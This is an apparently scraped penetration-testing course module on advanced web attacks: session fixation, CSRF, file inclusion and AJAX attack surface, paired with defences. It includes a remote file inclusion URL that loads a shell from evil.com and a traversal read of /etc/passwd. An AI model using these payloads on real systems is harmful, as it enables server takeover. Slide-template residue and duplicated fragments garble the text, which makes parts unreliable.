Advanced Web Attacks

6.
1 INTRODUCTION
Click to edit Master subtitle style
http://www.learnsecurityonline.com
Other than XSS and SQL Injection there are a number of

different attacking techniques against a web application.
Session and logic are the most targeted elements of a
web application after input.
A conjunction of input validation attack and flawed logic
and session handling brings us more ways to break the
security of a web application.
6.2 SESSION ATTACKS

The HTTP Session is what keeps the status of a

connection between a website and a visitor through
different web pages.
Being HTTP stateless, all of the CGIs implement the
HTTP session
paradigm, where a given session is
identified through a unique token or session ID released
to the visitors browser.
The visitors web browser will have to present the web

server this token in order for his session to be
recognized.
In the XSS attacks module we have already studied
how toClick
take
advantage
of
input
validation
attacks
to
to edit Master subtitle style
steal cookies. Theft of Cookies storing sessions token
of authentication credentials is an example of HTTP
Session Hijacking.
If the stolen session cookie carries a token for a valid

and open session, it can be used to access the
vulnerable web application with authenticated
credentials.
Another simple scenario is when you have websites

holding session token in URL:
Index.php?sessid=01BA10CE
This practice
subject
to the following attack:
Click to editis
Master
subtitle style
HTTP Session Fixation

Operations 2 and 3 should occur while the session is still
valid (it has not expired).
Mounting
such attacks is subject to a number of factors
that may affect the success of the attack negatively.
Through the HTTP REFERER header, the sessionID in

the URL is passed the HACKER controlled server.
Another attack to HTTP Session is HTTP Session

Fixation.
In this attack, as the name suggests, the hacker fixates

the session ID that the victim will use for its HTTP
communication with the web application.
The attacker in this case is not interested into stealing
this ID. He instead creates (or fixes) it.
A penetration tester can use this attack to gain access

to private areas of the web applications.
Upon login, authentication information is stored into
session variables.
Click to edit Master
This information
issubtitle
usedstyle
to discriminate between
authenticated and unauthenticated sessions.
There are web applications that do not release

sessionIDs to unauthenticated users browsing website
pages: they only do upon login.
When this applies we must register on the website, login
and obtain a new session cookie containing the wanted
sessionID.
So how do you go by finding whether a website is really

vulnerable to this attack?
Generally, websites that do not regenerate sessionIDs
upon login are likely to be vulnerable.
The Session handling is responsibility of both the

webserver and the web developer.
A gratuitous sessionID is a sessionID that has not
been previously released by the webserver directly:
this isClick
justto suggested
edit Master subtitleby
stylea browsing user through a
normal HTTP GET request:
http://vuln/search.asp?sessionID=123456
Microsoft ASP is the most famous for this (bad)

behavior.
It will accept any sessionID provided by a user.

This means
that
you
will
be able to provide ASP with
Click to edit
Master
subtitle
style
your own sessionID and a session around it will be
created.
Basically the acceptance of a gratuitous sessionID

makes the exploitation much easier although it is not a
necessary condition for it.
The most effective solution to this attack is simply to

regenerate sessionIDs at every login.
PHP provides the function session_regenerate_id at eh
purpose and it should be used with the argument TRUE
that will force the complete removal of the previous
session.
A similar approach can be taken in all the other scripting

languages: simply destroying the old session and
creating a new one.
Moreover,
the web application should never ever accept
gratuitous sessionIDs.
6.3 CROSS SITE

REQUEST FORGERIES
CSRF or XSRF attacks are something every web app

tester should know and master since it is something
automated scanning tool do not easily find.
CSRF exploits a feature of internet browsing, instead of a
specificClick
vulnerability.
Lets see a quick example:

Bob visits Amazon.com, logs in then leaves the site
without logging out.
Bob then visits Foo.com where inadvertently executes
a request
to Amazon.com. This request requires a valid
account on Amazon. For example a request to buy a
book.
Since Bob is still logged in in Amazon, the request goes

through and the money is withdrawn from his account for
the purchase of the book.
How can Foo.com issue a request to Amazon on behalf of
Bob? Click to edit Master subtitle style
Whatever is in a webpage, the browser requests: if an

image with the url amazon.com/buy/123 is present in the
page, the web browser will silently issue a request to
Amazon.com, thus buying the book because Bob has an
authenticated session open on Amazon.
If it sounds simple. It really is.

Google, Amazon, eBay and other major website were
vulnerable to CSRF but a big number of smaller
websites
application scripts still are.
Clickand
to editthird
Master party
subtitle style
All the requests to a web application that do not

implement an Anti-CSRF mechanism are automatically
vulnerable.
Click sound
to edit Master
subtitlebut
style CSRF is really this common.
This may
trivial
When a web application stores session into cookies,

this cookie is sent at every request to the same web
application (same-origin policy applies).
This may sound odd, but storing session tokens into

cookies
enable CSRF. (While storing session tokens
into URLs enable other kind of exploits).
Tokens and captchas are the most used protestion

mechanisms.
We will study them once the exploitation process will be
clear.
Lets see a real world example.

In 2005 I had to consider using Joomla as a CMS for
Hackers Center, pensioning my hand-coded veteran
ASP-based CMS.
The first thing I realized while using it for the first time
was the presence of multiple CSRF vulnerability.
The most important of them allowed me to have a super

administrator, with an open session on his Joomla
backend, to upload arbitrary files, post articles or even
deface his own website, if only I managed to force him
into visiting a web page containing the exploit payload.
What we will see now is how I built the payload to have

the a Super Admin create another super admin to let me
gain a backdoor access to the website>
The main difference with other vulnerabilties is that the
Click to edit
Master subtitle
style any malicious payload.
exploitation
doesnt
require
In the next slide we will go through the process of
bulding a working exploit for the Joomla vulnerabiltiy.
This is a penetration testers course but studying

countermeasures and protection mechanism, sometimes
makes the exploitation explanation clearer.
Moreover you should not forget that youre hired to
provideClick
solutions.
The most used protection mechanism for CSRF is the

Token.
The token makes part of the request required to perform
a given action, unpredictable for an attacker.
Lets take
real
world
scenario, where the Add-user
Click toaedit
Master
subtitle style
form in the administration area of CMSs include a
hidden input including a token.
This token can be implemented as a md5 hash of some
randomly generated string.
An attacker, willing to force the victim request the

forged url, has to provide a valid token.
Two conditions may arise:
The victim has not visited the page and has no token
set in
the session variables at all
The victim has visited the page and has a token
In case 2 the attacker has to guess the correct token that

is something considered impossible as long as token
generation is truly random and the token is not easily
predictable.
As you can see, the token must be random, not
Click to edit
Master
subtitle style at least for every session.
predictable
and
changing
Note: The token becomes useless when the application is
also vulnerable to XSS.
Because of the same-origin policy, you cannot read the

token on domain-vuln.com from domain-evil.com.
But using a XSS on domain-vuln.com, the JavaScript
meant to steal the token and use it in the request will be
executed
the
legit
domain
(domain-vuln.com).
Clickon
to edit
Master
subtitle
style
Bottom line is:

To prevent CSRF one has to implement a random token
for every request and be immune to XSS at the same
time. Click to edit Master subtitle style
6.4 FILE INCLUSION

VULNERABILITIES
File Inclusion vulnerabilities are divided in Remote and

Local according to where the file, to include, is taken
from.Click to edit Master subtitle style
Some of you will remember the vintage LFI attack that

we all tried against the first perl CGIs in early 90s:
Visit.pl?url=../../../etc/passwd
This kind of vulnerability was very common at that time,

since security awareness was not so spread among
developers.
However, it is still found in custom made scripts where
path characters
are
notstyle
stripped from input and the input
Click to edit Master
subtitle
is used as part of an include.
Remote file inclusion works basically the same way as

LFI, with the only difference that the file to be included
is taken remotely.
Our aim in this case is not just to read but to include our
own code
execution.
Click toin
editthe
Master
subtitle style
An exploitation URL would look like this:
vuln.php?page=http://evil.com/shell.txt
In this case, shell.txt is a file containing PHP code that will

be included in the page and executed.
A common exploitation to this vulnerability is to include a
PHP shell that would let the hacker or the pen tester to
execute any code on the server.
The most simple PHP shell will accept commands from

GET/POST arguments and execute them on the server.
NOTE: RFI is possible because allow_url_include

directive is set to ON within php.ini.
It is good proctice to set it to OFF.
Exploiting RFI requirements that you have a PHP shell
Click somewhere
to edit Master subtitleand
style accessible from the internet.
uploaded
C99 shell is the most famous and complete PHP shell.
6.5 WEB 2.0 ATTACKS

Web 2.0 has been mistakenly associated to the era of

social networks.
From the technical point of view, web 2.0 means the use
of relatively new tools for web developers to build their
web pages.
The most notorious: AJAX
AJAX is nothing new since it is based on a number of

technologies that have been available for at least 10
years: JavaScript and XML.
What AJAX is introducing is the possibility of making

asynchronous
calls from the client to the server thus
giving the user the feeling that hes truly dealing with an
application running within the browser.
AJAX relies on XMLHTTPRequest (MSXML2.XMLHTTP

On IE) object that is responsible for making the
requests, registering a handler and listen to server
response asynchronously.
Response
can be any content type (images, binaries,
xml, plain) because the server is not required to know
whether the request is coming from XMLHTTPRequest
or a normal synchronous request.
Ususlly XML or JSON are used to exchange requestresponse between client and server.
The response is then interpreted and inserted into the
web page DOM or used for the application logic.
Same origin applies to AJAX requests: an AJAX script of

foo.com cannot make requests to bar.com nor
bar.foo.com
In XSS module you have learnt how httpOnly is used to

avoid cookies from being read by JavaScript.
In this module youre learning about how
xmlHTTPRequest is used to perform asynchronous
requests
to the webserver.
Usually XML or JSON are used to exchange requestresponse between client and server.
The response is then interpreted and inserted into the
web page DOM or used for the application logic.
Same origin applies to AJAX requests: an AJAX script on

foo.com cannot make requests to bar.com nor
bar.foo.com.
In XSS module you have learnt how httpOnly is used to

avoid cookies from being read by JavaScript.
In this module youre learning about how

xmlHTTPRequest is used to perform asynchronous
requests to the webserver.
Now lets see how the latter can help us in defeating the
protection introduced by the first.
httpOnly is considered to be the solution to cookie theft,
however this is not entirely true.
Using xmlHTTPRequest it is possibe to read the cookie

content through TRACE http method.
From the security point of view, AJAX shifts the

paradigms of web application development widening te
attack surface when it is not handled correctly.
In the traditional synchronous browsing, the client simply

requests a URL passing parameters to it.
We usually do not have any understanding of the inner
working of the remote application except for the inputoutputClick
correlation.
The group of functions exposed by client-side code, can

be used as the starting point for new input validation
attacks, XSS, SQL injections, RFIs but also for new
attacking vectors like function clobbering.
As we saw earlier, web applications using AJAX,

throught a framework or a custom made AJAX code, will
probably expose more logic to a pentester.
We, as pentesters, are interested in:
Collecting all of the AJAX requests a web page makes

Retrieving the JavaScript libraries where these calls
are made from
This will let us have a deeper understanding of the web
application logic and a much wider attack surface.
In order to fully understand the logic behind a web

application relying upon AJAX you have two roads:
Studying the AJAX requests

Studying the JavaScript libraries containing the AJAX
code.
In this paragraph
we will follow method 1.
Lets see a real example: alesti.org
From this you can continue your investigation reverse
engineering the web application logics and eventually
perform input validation attacks.
The AJAX code is contained in JavaScript libraries that the

developer has to include in the website pages.
Collecting APIs methods and their arguments is a
heuristic process, but finding where these methods and
functions are called from is something you should be able
to do quite
easily.
Most of the times all the AJAX related code is inserted in

one or more javascript .js file. These files are then
included through a <script> tag and their methods
invoked when needed.
It is not rare to come across web applications that
implement
AJAX to improve the end user experience but
also to make administration an easier and more
enjoyable experience.
When administrative functions are included in the

same library of functions intended for the end user,
these are called Exposed administrative functions.
This is not to be considered a vulnerability in itself, but

most of
the times this lets a penetration tester to
perform a direct inspection of these high privileged
functions.
The first thing to do in this case is to get all the

JavaScript files dealing with AJAX.
Simply requesting the page source code will reveal the

included JavaScirpt files.
An average understanding of JavaScript will be required.

If the JavaScript looks encoded you can use the tool
located her http://www.gosu.pl/decoder/ to decode it and
make it moe readable.

Advanced Web Attacks

Uploaded by

Document Information

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

Advanced Web Attacks

Uploaded by

Copyright:

Available Formats

6.

Other than XSS and SQL Injection there are a number of

6.2 SESSION ATTACKS

The HTTP Session is what keeps the status of a

The visitors web browser will have to present the web

If the stolen session cookie carries a token for a valid

Another simple scenario is when you have websites

Click to edit Master subtitle style

HTTP Session Fixation

Through the HTTP REFERER header, the sessionID in

Another attack to HTTP Session is HTTP Session

In this attack, as the name suggests, the hacker fixates

A penetration tester can use this attack to gain access

Click to edit Master subtitle style

Click to edit Master subtitle style

Click to edit Master subtitle style

There are web applications that do not release

So how do you go by finding whether a website is really

Click to edit Master subtitle style

Click to edit Master subtitle style

Click to edit Master subtitle style

The Session handling is responsibility of both the

Microsoft ASP is the most famous for this (bad)

It will accept any sessionID provided by a user.

Basically the acceptance of a gratuitous sessionID

Click to edit Master subtitle style

The most effective solution to this attack is simply to

A similar approach can be taken in all the other scripting

6.3 CROSS SITE

CSRF or XSRF attacks are something every web app

Lets see a quick example:

Click to edit Master subtitle style

Since Bob is still logged in in Amazon, the request goes

Whatever is in a webpage, the browser requests: if an

Click to edit Master subtitle style

If it sounds simple. It really is.

All the requests to a web application that do not

When a web application stores session into cookies,

This may sound odd, but storing session tokens into

Tokens and captchas are the most used protestion

Lets see a real world example.

The most important of them allowed me to have a super

What we will see now is how I built the payload to have

Click to edit Master subtitle style

Click to edit Master subtitle style

Click to edit Master subtitle style

Click to edit Master subtitle style

Click to edit Master subtitle style

This is a penetration testers course but studying

The most used protection mechanism for CSRF is the

Click to edit Master subtitle style

Click to edit Master subtitle style

An attacker, willing to force the victim request the

In case 2 the attacker has to guess the correct token that

Because of the same-origin policy, you cannot read the

Bottom line is:

6.4 FILE INCLUSION

Click to edit Master subtitle style

File Inclusion vulnerabilities are divided in Remote and

Some of you will remember the vintage LFI attack that

This kind of vulnerability was very common at that time,

Click to edit Master subtitle style

Click to edit Master subtitle style

Remote file inclusion works basically the same way as